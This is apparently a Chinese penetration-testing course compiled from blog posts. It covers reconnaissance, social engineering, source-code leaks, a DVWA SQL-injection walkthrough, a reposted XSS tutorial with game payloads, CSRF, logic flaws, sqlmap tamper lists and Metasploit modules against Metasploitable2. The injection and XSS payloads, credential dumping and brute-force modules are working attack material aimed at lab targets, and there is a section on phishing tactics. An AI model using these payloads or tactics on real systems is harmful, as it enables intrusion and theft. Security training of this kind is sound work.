  • 自主搜索
  • 第三方平台
  • 自主搭建

主动搜索

各软件商店(Android、ISO)

自媒体第三方平台

微信小程序

网站产品列表

朋友圈

……


苹果商店
开发者选项


第三方平台
threatbook.cn


自主搭建

原理:爬虫+搜索引擎+数据库+定时扫描+邮箱提醒

以LangSrcCurise为例:

Github:https://github.com/LangziFun/LangSrcCurise

通过网络搜索引擎监控其下指定域名,并且能进行持续性信息收集整理的自动化资产监控管理系统,基于Django开发。


社会工程学的正确食用姿势

细心挖天下


乌云漏洞库的秘密

打码不全、无打码、后台地址、后台管理员账号商家账号……


钓鱼?

该操作涉及法律风险,仅供学习娱乐,请勿用于非法用途。

社工学本质在于欺骗,精髓在于让被骗者在经过思考之后陷入设计好的圈套。假设被骗者是有智慧和思想的,而他们的智慧和思想却总是在你的掌控之内,总的来说,就是利用人性的弱点,这是人的一个BUG。

中华宝典:《三十六计》、范建忠《黑客社会工程学攻击档案袋》

国外宝典:凯文米特尼克《欺骗的艺术》

攻击手段设想:

软社工:mail钓鱼、chat attacking、网络员工群、VPN……

硬社工:U盘、身份伪装、局域网渗透……


5.漏洞讲解

5.1文件泄露

git

git可以说是当今最受欢迎的版本控制/版本管理软件了, 很多基于git的云端托管仓库都提供了免费的托管服务, 甚至有不少还支持免费私有仓库, 如bitbucket和国内的gitosc(开源中国)等.

关键文件

git在初始化项目的时候, 会在项目的根目录(可用git rev-parse --show-toplevel查看)创建一个名为.git的隐藏文件夹, 里面包含了本地所有commit的历史记录. 如果无意间将这个目录置于WEB的路径下让用户可以访问,那么也就泄露了几乎所有的源代码和其他其他敏感信息.

泄露内容

所有该项目的源代码

私有仓库的地址

私密的配置信息

所有commiter的邮箱帐号信息

(可能)内部的帐号和密码


GitHack is a .git folder disclosure exploit.

It rebuild source code from .git folder while keep directory structure unchanged.

GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。

渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。

工作原理

解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 )

去.git/objects/ 文件夹下下载对应的文件

zlib解压文件,按原始的目录结构写入源代码

https://blog.csdn.net/u012486730/article/details/82019513


svn/Subversion

svn, 即Subversion, 在github之前曾经也是炙手可热的版本管理工具, 虽然已经日渐式微, 但在很多国企,研究院等地方依然是作为版本管理的主要工具. 对于一些历史悠久的项目, 比如LLVM, 出于历史原因,也是主要使用svn管理源代码.

关键文件

svn同样在项目根目录下会创建一个名为.svn的隐藏文件夹, 包含了所有分支commit信息和代码记录.

泄露内容

所有该项目的源代码

svn仓库的地址

svn仓库所属用户的用户名


.DS_Store文件泄露

.DS_Store(Desktop Services Store)是macOS目录下的隐藏文件, 包含了当前目录结构和一些的自定义信息,如背景和图标位置等, 在windows下类似的文件为desktop.ini. 暴露了.DS_Store文件也就相当于暴露了该目录下的所有内容.可以说是比较严重的泄露.

https://github.com/lijiejie/ds_store_exp


备份文件扫描


5.2 SQL注入(此部分为陈殷大佬的讲义)

目录

  • 测试需求分析
  • 判断是否存在注入点,以及注入的类型
  • 获取数据库信息
    • 猜解所查询的字段数目
    • 获取字段显示位
    • 通过显示位获取数据库信息
    • 获取数据库中的表名
    • 获取表中的列名(字段)
    • 导出数据库中的数据
    • 验证导出数据的有效性

一、测试需求分析

测试对象:DVWA漏洞系统–SQL Injection模块–User ID提交功能
防御等级:Low
测试目标:判断被测模块是否存在SQL注入漏洞,漏洞是否可利用,若可以则检测出对应的数据库数据
测试方式:手工方式

img

被测模块

防御等级为Low的后端控制代码:
low.php

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

以上代码所构造sql查询语句中的参数id,是从前端所提交到后端,代码中并没有对来自客户端提交的参数id进行合法性检查和过滤敏感字符等操作,很容易就能探测出SQL注入漏洞,然后进一步利用来获取数据库信息or其他操作权限。

当实际进行检测时,一开始并不知道后端的代码,需要进行类似于黑盒测试,构造一些特定的输入字符向服务端提交,根据响应返回的信息进行判断是否存在SQL注入漏洞。

二、判断是否存在注入点,以及注入的类型

输入:单引号 ' 反斜杠\

query:(一开始并不知晓代码中设置的查询语句,可由后面步骤来推测)
SELECT first_name, last_name FROM users WHERE user_id = ''';
SELECT first_name, last_name FROM users WHERE user_id = '\';
输出:语法错误,抛出异常信息,暴露了数据库服务器的类型为Mysql

  • 对于Mysql,构造SQL注入攻击查询语句时常会用到的注释符有#--(双横杠后面加空格联用)。
  • Mysql安装后默认会创建三个数据库:information_schema、mysql和test。其中名为“mysql”的数据库很重要,它里面保存有MYSQL的系统信息、用户修改密码和新增用户,实际上就是针对该数据库中的有关数据表进行操作。

img

单引号提交

img

反斜杠提交

输入:双引号 "

querySELECT first_name, last_name FROM users WHERE user_id = '"';
输出:语法无异常,但是无此id的数据可查询出来

img

输入1

querySELECT first_name, last_name FROM users WHERE user_id = '1';
输出:查询出对应的ID、First name、Surname 字段名及其值

img

输入
1' or 1=1 #
1' or 1=1 -- (末尾为空格)
1' or 'abc'='abc

query
SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 #';
SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 -- ';
SELECT first_name, last_name FROM users WHERE user_id = '1' or 'abc'='abc';
输出:构造的永真条件进行查询,列出了表中的所有的ID、First_name、Surname

img

通过提交数字1,2,3,4,5,6…来判断用户表中的行数(rows)为5行

img

从以上可判断出url(http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#)中的参数id存在注入点,存在字符型的SQL注入漏洞

三、获取数据库信息

1.猜解所查询的字段数目

方式1:order by num
若num数值超过了字段数,则查询会报错,从而判断出select语句所查询字段的数目

输入
1' order by 2 #
1' order by 3 #

输出

img

以上,用1' order by 2 #进行提交,可正常查询出ID=1的2个字段值;用1' order by 3 #进行提交,则会出现异常提示。说明此处的select查询语句中查询的字段有2个

方式2:union select 1,2,3…
若union select后的数字位(不一定是1/2/3,只要有数字占位即可)与实际查询的字段位不完全对应时,查询就会报错,直至调整到不报错时的占位个数,从而判断实际查询的字段数

输入
1' union select 1 #
1' union select 1,2 #
1' union select 1,2,3 #

输出

img

以上,只有1' union select 1,2 #构造的语句才能正常匹配出字段值,相应的查询字段数=2

2.获取字段显示位

在页面上会显示从select语句中选取的字段,通过以上方式2中的 union select 1,2,3… 可判断出具体显示字段的显示位
显示位的作用:在知道显示位之后,就可以通过显示位来显示我们想知道的数据库信息,如数据库的版本,用户信息等…

输入1' union select 1,2 #

输出

img

显示位

3.通过显示位获取数据库信息

此处会用到Mysql注入常用的一些函数,可参看此文==>SQL注入常用的内置函数整理(以MySql为例)

  • 获取当前连接的数据库名称、DBMS的版本(Mysql的版本)
    1' union select database(),version() #

img

当前连接的数据库=dvwa;Mysql版本=5.5.53

  • 获取当前连接数据库的用户
    1' union select user(),2 #

img

当前连接数据库的用户为root,即超管权限用户

  • 获取服务器的操作系统、数据库的存储目录
    1' union select @@version_compile_os,@@datadir #

img

服务器的操作系统=Win32;数据库的存储目录为…\MySQL\data\

4.获取数据库中的表名
  • 获取DBMS中所有数据库的名称
    1' union select 1,schema_name from information_schema.schemata #

Mysql安装后默认会创建三个数据库:information_schema、mysql和test;information_schema库下的schemata表中保存着DBMS中的所有数据库名称信息

img

  • 获取当前连接数据库(dvwa)中的所有表
    1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

img

dvwa库中的所有表为:guestbook、users

5.获取表中的列名(字段)

方式1:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

img

表字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login

6.导出数据库中的数据

获取users表中所有user和password数据,用符合’–'连接每一组中user和password,每一组"user–password"又分别用逗号隔开,集中在一起输出结果
1' union select 1,group_concat(concat_ws('--',user,password)) from users #

img

or 每一组"user–password"数据信息换行输出
1' union select 1,concat_ws('--',user,password) from users #

img

7.验证导出数据的有效性

1)解密
从以上第6步中获取的用户信息中,任意取一组"user–password"对应值"gordonb–e99a18c428cb38d5f260853678922e03",密码是加密过的,当不知道具体加密方法的时候,可能需要尝试多种解密的方式去破解。
比如可以先用常规的MD5解密检测一下是否能破解,解密传送门:http://www.cmd5.com/

img

解密后:gordonb–abc123

2)验证数据有效性
回到前端登录界面:http://localhost:8001/dvwa/login.php
将以上解密出的用户信息填写到登录输入框中,提交校验

img

登录成功


5.3 XSS从入门到进阶(还是大佬的讲义)

这部分我是直接搬的原文,原网址:https://cloud.tencent.com/developer/article/1595074

本文分享自微信公众号 - 山丘安全攻防实验室(hillsec),作者:陈殷
原始发表时间:2020-02-26

一篇文章带你从XSS入门到进阶(附Fuzzing+BypassWAF+Payloads)

大家好,我是山丘安全攻防实验室作家陈殷,今天将带大家深入浅出理解XSS攻击。

  1. XSS简介
  2. XSS分类
  3. XSS实战
  4. XSS Fuzzing
  5. XSS WAF Bypass思路
  6. XSS工具
  7. XSS修复
xss简介
OWASP TOP 10

OWASP(开放式Web应用程序安全项目)的工具、文档、论坛和全球各地分会都是开放的,对所有致力于改进应用程序安全的人士开放,其最具权威的就是“10项最严重的Web 应用程序安全风险列表” ,总结了Web应用程序最可能、最常见、最危险的十大漏洞,是开发、测试、服务、咨询人员应知应会的知识。

Cross Site Scripting

跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以在代码审计中xss漏洞关键就是寻找参数未过滤的输出函数。

XSS分类
反射型XSS:<非持久化>

攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。DOM型XSS由于危害较小,我们将其归为反射型XSS。

存储型XSS:<持久化>

代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。

XSS实战

我犯个懒,请看原文,原网址:https://cloud.tencent.com/developer/article/1595074

存储型XSS的攻击流程:
打开web---->输入一个恶意代码---->恶意代码存放到数据库---->读取页面---->读取数据库---->返回web---->执行恶意代码

XSS小游戏过关笔记:

下载地址请关注“山丘安全攻防实验室”回复:xssgame 或自行百度下载

在这里插入图片描述

篇幅限制,我们挑前五关来测试,后续通关指南可关注公众号推文

首页点击进入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1SxYz81c-1612236222183)(https://ask.qcloudimg.com/http-save/yehe-1029790/h4jmugvw9w.jpeg?imageView2/2/w/1620)]

第一关

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HhLUQCTM-1612236222183)(https://ask.qcloudimg.com/http-save/yehe-1029790/str24cw0ps.jpeg?imageView2/2/w/1620)]

猜测name参数可控,进行paylaod执行:

123<script>alert('123')</script>;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L7p3ynwm-1612236222184)(https://ask.qcloudimg.com/http-save/yehe-1029790/6pbsoeqlh2.jpeg?imageView2/2/w/1620)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OwCJSt3p-1612236222185)(https://ask.qcloudimg.com/http-save/yehe-1029790/7ss8vnrl2s.png?imageView2/2/w/1620)]

成功通关

第二关

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5D5ZYgBh-1612236222185)(https://ask.qcloudimg.com/http-save/yehe-1029790/d9nou92pgz.png?imageView2/2/w/1620)]

这里我们执行上关的payload试试,但是并未成功执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IxxLWStt-1612236222186)(https://ask.qcloudimg.com/http-save/yehe-1029790/oj1ftp57v6.jpeg?imageView2/2/w/1620)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MsFVGAwV-1612236222187)(https://ask.qcloudimg.com/http-save/yehe-1029790/atwcg06dcv.png?imageView2/2/w/1620)]

查看源代码,XSS语句被赋值给value并且在input标签里,所以我们需要闭合value和input标签就可以正常弹窗了

exp:

 1"><script>alert('1');</script>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2PvURQG0-1612236222187)(https://ask.qcloudimg.com/http-save/yehe-1029790/aa0nomps2x.png?imageView2/2/w/1620)]

成功执行

第三关

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dmjk11Rk-1612236222188)(https://ask.qcloudimg.com/http-save/yehe-1029790/xzg0vxhk7l.png?imageView2/2/w/1620)]

htmlspecialchars()函数是使用来把一些预定义的字符转换为HTML实体,返回转换后的新字符串,原字符串不变。如果 string 包含无效的编码,则返回一个空的字符串,除非设置了 ENT_IGNORE 或者 ENT_SUBSTITUTE 标志

被转换的预定义的字符有:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bw5kyrag-1612236222188)(https://ask.qcloudimg.com/http-save/yehe-1029790/7a2a9eaz9x.png?imageView2/2/w/1620)]

使用语法:

$str = htmlspecialchars(string,flags,character-set,double_encode);

string:规定要转换的字符串;

flags :可选参数,规定如何处理引号、无效的编码以及使用哪种文档类型;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Fm01VMJi-1612236222189)(https://ask.qcloudimg.com/http-save/yehe-1029790/f2jl3m5k3c.png?imageView2/2/w/1620)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9cW6kik8-1612236222190)(https://ask.qcloudimg.com/http-save/yehe-1029790/stnc39wjk2.png?imageView2/2/w/1620)]

确实转义了尖括号,这里可以用单引号闭合value但是没办法闭合input标签,我们添加一个改变事件即可

' onchange=alert`1` //

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Em4dnYMB-1612236222191)(https://ask.qcloudimg.com/http-save/yehe-1029790/kqgcgyfrl9.png?imageView2/2/w/1620)]

添加一个改变事件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PuZeyBKR-1612236222192)(https://ask.qcloudimg.com/http-save/yehe-1029790/tzjh7u7n55.png?imageView2/2/w/1620)]

第四关

第四关的代码和第三关的代码大同小异,把源码里面单引号变成了双引号,同样事件弹窗即可

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LdFYrCJ9-1612236222193)(https://ask.qcloudimg.com/http-save/yehe-1029790/l4h19rokn9.png?imageView2/2/w/1620)]

把payload改一下就oki

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rpIeieM9-1612236222193)(https://ask.qcloudimg.com/http-save/yehe-1029790/esfqrs8i6d.jpeg?imageView2/2/w/1620)]

第五关

第五关难度提升,过滤了script和onclick标签,但是没过滤a标签

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6BIueakf-1612236222194)(https://ask.qcloudimg.com/http-save/yehe-1029790/uob8rz7xhz.png?imageView2/2/w/1620)]

paylaod:

 "><a href=" javascript:alert(1)"

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UzlujBts-1612236222195)(https://ask.qcloudimg.com/http-save/yehe-1029790/pof1mk2n5r.jpeg?imageView2/2/w/1620)]

成功执行

XSS Fuzzing

工具:

BurpSuite+XSS Payloads+PayloadFix(工具在文末)

运行环境:python3

工具说明:

该工具可以将每行payload进行处理,以此再进行批量fuzz更好的定位有效攻击代码。

使用方法:

请准备原版XssPayload.txt,每行一个payload,运行PayloadFix.py即可进行payloads处理

Fuzzing思路:

找到一个输入点,生成Payloads,进行paylaods测试

测试实例:

国内某家大厂Mail Fuzzing XSS 测试

我犯个懒,请看原文,原网址:https://cloud.tencent.com/developer/article/1595074

XSS WAF Bypass

WAF产品:360主机卫士

环境:PHPStudy 2018 — Apache+PHP

说明:360主机卫士目前已停止维护

测试步骤:

我犯个懒,请看原文,原网址:https://cloud.tencent.com/developer/article/1595074

同样还有很多绕过方法,网上给出了很多文章,这里不在一一举例,只做一个思路进行分析。

至于其他特殊字符是否也有绕过,欢迎各位师傅到交流群或和我讨论。

XSS工具

由于篇幅限制,这里只进行工具推荐,具体操作需要大家手动操作

XSStrike

XSStrike is a Cross Site Scripting detection suite equipped with four hand written parsers, an intelligent payload generator, a powerful fuzzing engine and an incredibly fast crawler.

https://github.com/s0md3v/XSStrike

xsscrapy

Fast, thorough, XSS/SQLi spider. Give it a URL and it’ll test every link it finds for cross-site scripting and some SQL injection vulnerabilities. See FAQ for more details about SQLi detection.

https://github.com/DanMcInerney/xsscrapy

XSSSNIPER

xsssniper is an handy xss discovery tool with mass scanning functionalities.

https://github.com/gbrindisi/xsssniper

BeEF

BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.

https://github.com/beefproject/beef

XSS platform

XSS Platform 是一个非常经典的XSS渗透测试管理系统

https://github.com/78778443/xssplatform

XSS修复

XSS跨站漏洞最终形成的原因是对输入与输出没有严格过滤。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-I83VHeKR-1612236222204)(https://ask.qcloudimg.com/http-save/yehe-1029790/pjvsu1behc.png?imageView2/2/w/1620)]

结语

要想学好XSS,终究还是考察大家对JavaScript和PHP的掌握程度,所以请在学习安全测试之前熟练掌握一门以上的开发语言。

文章为基础文章,若文章有错误请各位大佬指出,更多思路欢迎加山丘安全攻防实验室群或者私聊进行讨论。

文中的工具:

XSS-Games:关注“山丘安全攻防实验室”回复xssgame

PayloadFix:关注“山丘安全攻防实验室”回复payloadfix

PayloadFix 下载链接:https://github.com/evai1/PayloadFix(内附5000+ XSS Payloads)

上期MSF下载链接:https://github.com/evai1/MetaSploit

(说明:转载请联系山丘安全攻防实验室公众号运营开白,或在开头注明来源和作者)
本文分享自微信公众号 - 山丘安全攻防实验室(hillsec),作者:陈殷
原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。
原始发表时间:2020-02-26


5.4 CSRF

CSRF概念

CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:

攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。

李华在第三方机构有一笔存款,通过对银行的网站发送请求 http://bank.com/tran?user=lihua&count=100&aim=daming可以给他的朋友转账100元。

通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该 session 的用户 李华已经成功登陆。

黑客 Xuanhun自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。Xuanhun可以自己发送一个请求给银行:http://bank.com/tran?user=lihua&count=100&aim=xuanhun。但是这个请求来自 xuanhun而非 lihua,他不能通过安全认证,因此该请求不会起作用。

这时,xuanhun想到使用 CSRF 的攻击方式,他先自己做一个网站,在网站中放入如下代码: src=”http://bank.com/tran?user=lihua&count=100&aim=xuanhun”,并且通过美女qq进行社工攻击,诱使李华首先去登陆账户,随后访问指定url。当李华访问该网站时,上述 url 就会从李华的浏览器发向银行,而这个请求会附带李华浏览器中的 cookie 一起发向银行服务器。

大多数情况下,该请求会失败,因为他要求李华的认证信息。但是,因为李华刚访问他的银行后不久,他的浏览器与银行网站之间的 session 尚未过期,浏览器的 cookie 之中含有李华的认证信息。

这时,悲剧发生了,这个 url 请求就会得到响应,钱将从李华 的账号转移到xuanhun的账号,而李华当时毫不知情。等以后 李华发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 xuanhun 则可以拿到钱后逍遥法外。


5.5暴力破解

暴力破解是指使用穷举法,举出所有的可能的结果,然后逐一验证是否正确。


5.6文件上传

文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击者来说很容易实施。

文件上传漏洞本身就是一个危害巨大的漏洞,WebShell更是将这种漏洞的利用无限扩大。大多数的上传漏洞被利用后攻击者都会留下WebShell以方便后续进入系统。攻击者在受影响系统放置或者插入WebShell后,可通过该WebShell更轻松,更隐蔽的在服务中为所欲为。

这里需要特别说明的是上传漏洞的利用经常会使用WebShell,而WebShell的植入远不止文件上传这一种方式。


7.7逻辑漏洞

逻辑漏洞是指由于程序逻辑输入管控不严,导致程序不能够正常处理或处理错误,一般出现在登录注册、密码找回、信息查看、交易支付金额等。

例:

逻辑漏洞 - 任意用户密码重置

https://cloud.tencent.com/developer/article/1607702


由于验证码在本地生产导致的任意用户注册

发送手机号验证码请求并拦截,发现在请求中已经生成了验证码,所以记下验证码后放包==》填写信息==》注册成功


无限制使用一元买价值899的vip会员

发起一个正常的购买请求,拦截请求数据包,修改参值,购买成功

注:coupon=优惠券,discount=折扣,product=这里可以看出来是一年的vip


对登录账号框进行FUZZ

无验证码==》尝试admin、admin==》提醒账号不存在==》使用用户名字典


对登录h密码框进行FUZZ

无验证码==》尝试admin、admin==》提醒密码错误==》使用密码字典


对未知URL参数进行FUZZ

访问url报错对url参数在burpsuite的intruder进行添加字典爆破发现有效参数有:”path=/etc/passwd”


6.漏洞扫描工具讲解

6.1 NMAP

见上文。

6.2 SQLMAP

sqlmap是一款基于python2的强大的支持多种数据库的跨平台SQL注入检测工具


中文英文缩写
数据库管理系统database adminDBA
数据库dabaseDB
数据表tableT
字段columns-C

SQLMAP tamper

使用SQLMap提供的tamper脚本,可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。

部分防护系统的缩写:

WAF:Web应用程序防火墙,Web Application Firewall

IPS:入侵防御系统, Intrusion Prevention System

IDS:入侵检测系统,Intrusion Detection System


--tamper=TAMPER 利用给定的脚本进行篡改注入数据。

其用法可举例说明:

python sqlmap.py -u “http://…/?uname=admin&pwd=pass123” --level=5 --risk=3 -p “uname” --tamper=xxx.py

表示对指定的url地址,以所设置的level等级、risk等级,并采用选定的tamper篡改脚本对参数“uname”进行检测


SQLMap目录中的所有tamper

tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords


通用的测试tamper

tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes


MSSQL(Microsoft SQL Servre)

tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes


MySQL

tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor


charunicodeencode.py

功能:对字符串进行Unicode格式转义编码

平台:Mssql 2000,2005、MySQL 5.1.56、PostgreSQL 9.0.3 ASP/ASP.NET

举例:SELECT FIELD FROM TABLE %u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045


charencode.py

功能:采用url格式编码1次

平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

举例:SELECT FIELD FROM%20TABLE %53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45


6.3 AWVS

Acunetix Web Vulnerability Scanner(简称AWVS)是一款知名的网络漏洞扫描工具,它通过网络爬虫测试你的网站安全,检测流行安全漏洞


6.4 Xray

一款躺着收洞的神器

xray 是一款功能强大的安全评估工具,由多名经验丰富的一线安全从业者呕心打造而成,主要特性有:

检测速度快。发包速度快; 漏洞检测算法高效。

支持范围广。大至 OWASP Top 10 通用漏洞检测,小至各种 CMS 框架 POC,均可以支持。

代码质量高。编写代码的人员素质高, 通过 Code Review、单元测试、集成测试等多层验证来提高代码可靠性。

高级可定制。通过配置文件暴露了引擎的各种参数,通过修改配置文件可以极大的客制化功能。

安全无威胁。xray 定位为一款安全辅助评估工具,而不是攻击工具,内置的所有 payload 和 poc 均为无害化检查。

https://github.com/chaitin/xray/releases


6.5 BurpSuite

Burp Suite 是用于攻击web 应用程序的集成平台,包含了许多工具。Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报。


7.漏洞利用工具讲解

7.1MetaSploitable2搭建

https://blog.csdn.net/qq_42058062/article/details/81036741

7.2MetaSploit初识

https://www.freebuf.com/articles/system/34571.html

7.3 MetaSploit对MetaSploitable2的攻击

Metasploitable2是一个虚拟机文件,从网上下载解压之后就可以直接使用,不需要自己安装。

用户名是 :msfadmin密码是: msfadmin


Metasploitable2漏洞列表:

序号漏洞
1、弱口令漏洞(如vnc、mysql、PostgreSQL等)
2、Samba MS-RPC Shell 命令注入漏洞
3、Vsftpd源码包后门漏洞
4、UnreallRCd后门漏洞
5、Linux NFS共享目录配置漏洞
6、Java RMI SERVER 命令执行漏洞
7、Tomcat管理台默认口令漏洞
8、root用户弱口令漏洞(SSH爆破)
9、Distcc后门漏洞
10、Samba sysmlink 默认配置目录遍历漏洞
11、PHP CGI参数注入执行漏洞
12、Druby远程代码执行漏洞
13、Ingreslock 后门漏洞
14、Rlogin 后门漏洞

Samba MS-RPC Shell 命令注入漏洞

漏洞产生原因:传递通过MS-RPC提供的未过滤的用户输入在调用定义的外部脚本时调用/bin/sh,在smb.conf中,导致允许远程命令执行。

使用search usermap来搜索攻击模块

> 复现:攻击机:kali linux IP:192.168.138.134

> 靶机:Metasploitable2 IP:192.168.138.140

exploit/multi/samba/usermap_script


Vsftpd源码包后门漏洞

漏洞产生原因:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意恶意代码。

> 复现:攻击机:kali linux IP:192.168.138.134

> 靶机:Metasploitable2 IP:192.168.138.140

use exploit/unix/ftp/vsftpd_234_backdoor


UnreallRCd后门漏洞

漏洞产生原因:在2009年11月到2010年6月间分布于某些镜面站点的UNreallRCd,在DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码,远程攻击者就能够执行任意代码。使用search unreal来搜索攻击模块

> 复现:攻击机:kali linux IP:192.168.138.134

> 靶机:Metasploitable2 IP:192.168.138.140

exploit/unix/irc/unreal_ircd_3281_backdoor


7.4 MetaSploit扫描指定端口的主机

查找模块

auxiliary/scanner/portscan/tcp 可批量扫描指定端口的主机

set rhosts 192.168.138.1-255


7.5 MetaSploit对cve-2019-0708的检测

Windows系列服务器于2019年5月15号,被爆出高危漏洞,该漏洞影响范围较广,windows2003、windows2008、windows2008 R2、windows xp * 系统都会遭到攻击,该服务器漏洞利用方式是通过远程桌面端口3389,RDP协议进行攻击的 。CVE-2019-0708漏洞是通过检查用户的身份认证,导致可以绕过认证,不用任何的交互,直接通过rdp协议进行连接发送恶意代码执行命令到服务器中去。这个漏洞是今年来说危害严重性最大的漏洞,换句话说,该漏洞是“可传播的”,这意味着任何利用该漏洞的恶意软件都可能从受影响的计算机传播到受影响的计算机,就像2017年WannaCry恶意软件在全球蔓延一样,跟之前的勒索,永恒之蓝病毒差不多。

环境搭建

系统:windows 2008 R2

补丁编号:KB4499175


7.6 MetaSploit对各类密码进行破解

ftp服务

文件传输协议,是用于在网络上进行文件传输的一套标准协议。

破解成功之后可查看是否有文件上传权限,若有,可进一步利用,若没有,则可以获取一些敏感数据。

• 默认端口:21

• 模块位置:auxiliary/scanner/ftp/ftp_login


telnet服务

Telnet协议是TCP/IP协议族中的一员,是Internet远程登录服务的标准协议和主要方式,传输方式为明文传输。

• 默认端口:23

• 模块位置:auxiliary/scanner/telnet/telnet_login


vnc服务

VNC (Virtual Network Console)是虚拟网络控制台的缩写,是一款远程控制工具。

• 默认端口:5900

• 模块位置:auxiliary/scanner/vnc/vnc_login


